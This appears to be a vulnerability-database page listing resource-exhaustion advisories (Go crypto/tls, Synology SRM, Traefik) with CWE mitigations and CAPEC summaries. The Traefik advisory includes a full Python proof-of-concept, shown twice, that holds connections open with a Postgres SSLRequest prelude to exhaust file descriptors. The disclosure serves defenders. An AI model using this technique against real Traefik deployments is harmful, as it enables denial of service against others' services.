could cause a Denial-of-Service condition. The affected devices must be restarted manually.",
  "id": "GHSA-89jc-9q2j-97hr",
  "modified": "2024-07-09T12:30:54Z",
  "published": "2022-05-13T01:03:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12741"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-141614.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-346262.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-546832.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-141614.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-346262.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-546832.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.securityfocus.com/bid/101964"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-89MW-W342-MQRR

Vulnerability from github – Published: 2023-02-28 18:30 – Updated: 2023-03-10 06:30
VLAI
Details

Large handshake records may cause panics in crypto/tls. Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses. This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-41724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-28T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Large handshake records may cause panics in crypto/tls. Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses. This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth \u003e= RequestClientCert).",
  "id": "GHSA-89mw-w342-mqrr",
  "modified": "2023-03-10T06:30:21Z",
  "published": "2023-02-28T18:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41724"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/468125"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/58001"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/V0aBFqaFs_E"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2023-1570"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202311-09"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-89P3-4642-CR2W

Vulnerability from github – Published: 2026-02-12 15:54 – Updated: 2026-07-09 21:07
VLAI
Summary
Traefik: TCP readTimeout bypass via STARTTLS on Postgres
Details

Impact

There is a potential vulnerability in Traefik managing STARTTLS requests.

An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.8

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service. This triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router). ### Details Traefik applies per-connection deadlines based on `entryPoints..transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections). However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines: - detect Postgres SSLRequest (8-byte signature), - call `conn.SetDeadline(time.Time{})` (clears all deadlines), - then enter the Postgres STARTTLS handler (`servePostgres`). The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore: 1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (`S`), 4. stop sending any further bytes. Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits. _Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path. Tested versions: - `v3.6.7` - `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` ### PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed). Execute the script below: Script (Click to expand) 
#!/usr/bin/env python3
from __future__ import annotations

import os
import socket
import subprocess
import tempfile
import time
from typing import Final

# Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik"

HOST: Final[str] = "127.0.0.1"
PORT: Final[int] = 18080

STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300

POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])


def fd_count(pid: int) -> int:
    return len(os.listdir(f"/proc/{pid}/fd"))


def open_idle_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        conns.append(socket.create_connection((HOST, PORT)))
    return conns


def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        s = socket.create_connection((HOST, PORT))
        s.settimeout(1.0)
        s.sendall(POSTGRES_SSLREQUEST)
        try:
            _ = s.recv(1)  # typically b"S"
        except socket.timeout:
            pass
        conns.append(s)
    return conns


def close_all(conns: list[socket.socket]) -> None:
    for s in conns:
        try:
            s.close()
        except OSError:
            pass


def main() -> None:
    with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td:
        dyn = os.path.join(td, "dynamic.yml")
        with open(dyn, "w", encoding="utf-8") as f:
            f.write(
                f"""\
http:
  routers:
    r:
      entryPoints: [web]
      rule: "PathPrefix(`/`)"
      service: s
  services:
    s:
      loadBalancer:
        servers:
          - url: "http://{HOST}:9"
"""
            )

        proc = subprocess.Popen(
            [
                TRAEFIK_BIN,
                "--log.level=ERROR",
                f"--entryPoints.web.address=:{PORT}",
                f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s",
                f"--providers.file.filename={dyn}",
                "--providers.file.watch=false",
            ],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.STDOUT,
        )
        try:
            time.sleep(STARTUP_SLEEP_SECS)

            pid = proc.pid
            if pid is None:
                raise RuntimeError("Traefik PID is None")

            ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip()
            print(ver)
            print(f"Traefik={TRAEFIK_BIN}")
            print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s")

            base = fd_count(pid)
            print(f"traefik_pid={pid} fd_base={base}")

            idle = open_idle_conns(N_CONNS)
            fd_after_open_idle = fd_count(pid)
            print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_idle = fd_count(pid)
            print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}")
            close_all(idle)

            pg = open_postgres_sslrequest_conns(N_CONNS)
            fd_after_open_pg = fd_count(pid)
            print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_pg = fd_count(pid)
            print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}")
            close_all(pg)

            if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):
                print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.")
            else:
                print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.")
        finally:
            proc.terminate()
            try:
                proc.wait(timeout=3.0)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.wait(timeout=3.0)


if __name__ == "__main__":
    main()
Expected output (Click to expand) 
Version:      3.6.7
Codename:     ramequin
Go version:   go1.24.11
Built:        2026-01-14T14:04:03Z
OS/Arch:      linux/amd64
Traefik=/usr/local/sbin/traefik
Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s
traefik_pid=46204 fd_base=6
baseline_opened=300 fd_after_open=128 delta=122
baseline_after_sleep fd=6 delta_from_base=0
candidate_opened=300 fd_after_open=306 delta=300
candidate_after_sleep fd=306 delta_from_base=300
VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.
### Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-12T15:54:11Z",
    "nvd_published_at": "2026-02-12T20:16:11Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nThere is a potential vulnerability in Traefik managing STARTTLS requests. \n\nAn unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. \n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.\n\nThis triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router).\n\n### Details\nTraefik applies per-connection deadlines based on `entryPoints.\u003cname\u003e.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections).\n\nHowever, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:\n\n- detect Postgres SSLRequest (8-byte signature),\n- call `conn.SetDeadline(time.Time{})` (clears all deadlines),\n- then enter the Postgres STARTTLS handler (`servePostgres`).\n\nThe Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore:\n\n1. connect to any internet-exposed TCP entrypoint,\n2. send the Postgres SSLRequest (SSL negotiation request),\n3. receive Traefik\u2019s single-byte response (`S`),\n4. stop sending any further bytes.\n\n\nEach such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.\n\n_Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.\n\nTested versions:\n- `v3.6.7`\n- `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` \n\n### PoC\nPrerequisites:\n- Linux host\n- Python 3\n- A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script\u2019s `TRAEFIK_BIN` constant (edit if needed).\n\nExecute the script below:\n\u003cdetails\u003e\n\u003csummary\u003eScript (Click to expand)\u003c/summary\u003e\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport socket\nimport subprocess\nimport tempfile\nimport time\nfrom typing import Final\n\n# Hardcode the Traefik binary path. Edit as needed.\nTRAEFIK_BIN: Final[str] = \"/usr/local/sbin/traefik\"\n\nHOST: Final[str] = \"127.0.0.1\"\nPORT: Final[int] = 18080\n\nSTARTUP_SLEEP_SECS: Final[float] = 2.0\nREAD_TIMEOUT_SECS: Final[float] = 2.0\nSLEEP_SECS: Final[float] = 3.5\nN_CONNS: Final[int] = 300\n\nPOSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])\n\n\ndef fd_count(pid: int) -\u003e int:\n    return len(os.listdir(f\"/proc/{pid}/fd\"))\n\n\ndef open_idle_conns(n: int) -\u003e list[socket.socket]:\n    conns: list[socket.socket] = []\n    for _ in range(n):\n        conns.append(socket.create_connection((HOST, PORT)))\n    return conns\n\n\ndef open_postgres_sslrequest_conns(n: int) -\u003e list[socket.socket]:\n    conns: list[socket.socket] = []\n    for _ in range(n):\n        s = socket.create_connection((HOST, PORT))\n        s.settimeout(1.0)\n        s.sendall(POSTGRES_SSLREQUEST)\n        try:\n            _ = s.recv(1)  # typically b\"S\"\n        except socket.timeout:\n            pass\n        conns.append(s)\n    return conns\n\n\ndef close_all(conns: list[socket.socket]) -\u003e None:\n    for s in conns:\n        try:\n            s.close()\n        except OSError:\n            pass\n\n\ndef main() -\u003e None:\n    with tempfile.TemporaryDirectory(prefix=\"vh-traefik-f005-\") as td:\n        dyn = os.path.join(td, \"dynamic.yml\")\n        with open(dyn, \"w\", encoding=\"utf-8\") as f:\n            f.write(\n                f\"\"\"\\\nhttp:\n  routers:\n    r:\n      entryPoints: [web]\n      rule: \"PathPrefix(`/`)\"\n      service: s\n  services:\n    s:\n      loadBalancer:\n        servers:\n          - url: \"http://{HOST}:9\"\n\"\"\"\n            )\n\n        proc = subprocess.Popen(\n            [\n                TRAEFIK_BIN,\n                \"--log.level=ERROR\",\n                f\"--entryPoints.web.address=:{PORT}\",\n                f\"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s\",\n                f\"--providers.file.filename={dyn}\",\n                \"--providers.file.watch=false\",\n            ],\n            stdout=subprocess.DEVNULL,\n            stderr=subprocess.STDOUT,\n        )\n        try:\n            time.sleep(STARTUP_SLEEP_SECS)\n\n            pid = proc.pid\n            if pid is None:\n                raise RuntimeError(\"Traefik PID is None\")\n\n            ver = subprocess.check_output([TRAEFIK_BIN, \"version\"], text=True).strip()\n            print(ver)\n            print(f\"Traefik={TRAEFIK_BIN}\")\n            print(f\"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s\")\n\n            base = fd_count(pid)\n            print(f\"traefik_pid={pid} fd_base={base}\")\n\n            idle = open_idle_conns(N_CONNS)\n            fd_after_open_idle = fd_count(pid)\n            print(f\"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}\")\n            time.sleep(SLEEP_SECS)\n            fd_after_sleep_idle = fd_count(pid)\n            print(f\"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}\")\n            close_all(idle)\n\n            pg = open_postgres_sslrequest_conns(N_CONNS)\n            fd_after_open_pg = fd_count(pid)\n            print(f\"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}\")\n            time.sleep(SLEEP_SECS)\n            fd_after_sleep_pg = fd_count(pid)\n            print(f\"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}\")\n            close_all(pg)\n\n            if (fd_after_sleep_idle - base) \u003c= 5 and (fd_after_sleep_pg - base) \u003e= (N_CONNS // 2):\n                print(\"VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\")\n            else:\n                print(\"INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.\")\n        finally:\n            proc.terminate()\n            try:\n                proc.wait(timeout=3.0)\n            except subprocess.TimeoutExpired:\n                proc.kill()\n                proc.wait(timeout=3.0)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003c/details\u003e\n\n\n\u003cdetails\u003e\n\u003csummary\u003eExpected output (Click to expand)\u003c/summary\u003e\n\n```bash\nVersion:      3.6.7\nCodename:     ramequin\nGo version:   go1.24.11\nBuilt:        2026-01-14T14:04:03Z\nOS/Arch:      linux/amd64\nTraefik=/usr/local/sbin/traefik\nHost=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s\ntraefik_pid=46204 fd_base=6\nbaseline_opened=300 fd_after_open=128 delta=122\nbaseline_after_sleep fd=6 delta_from_base=0\ncandidate_opened=300 fd_after_open=306 delta=300\ncandidate_after_sleep fd=306 delta_from_base=300\nVULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\n```\n\u003c/details\u003e\n\n### Impact\nDenial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including \"web\" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.\n\n\u003c/details\u003e",
  "id": "GHSA-89p3-4642-cr2w",
  "modified": "2026-07-09T21:07:28Z",
  "published": "2026-02-12T15:54:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6192"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-25949"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2439522"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.8"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25949.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik: TCP readTimeout bypass via STARTTLS on Postgres"
}

GHSA-89P4-79Q6-8W43

Vulnerability from github – Published: 2023-08-31 12:30 – Updated: 2024-04-04 07:19
VLAI
Details

Uncontrolled resource consumption vulnerability in File Functionality in Synology Router Manager (SRM) before 1.3.1-9346-6 allows remote authenticated users to conduct denial-of-service attacks via unspecified vectors.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-41739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-31T10:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled resource consumption vulnerability in File Functionality in Synology Router Manager (SRM) before 1.3.1-9346-6 allows remote authenticated users to conduct denial-of-service attacks via unspecified vectors.",
  "id": "GHSA-89p4-79q6-8w43",
  "modified": "2024-04-04T07:19:05Z",
  "published": "2023-08-31T12:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41739"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_23_10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list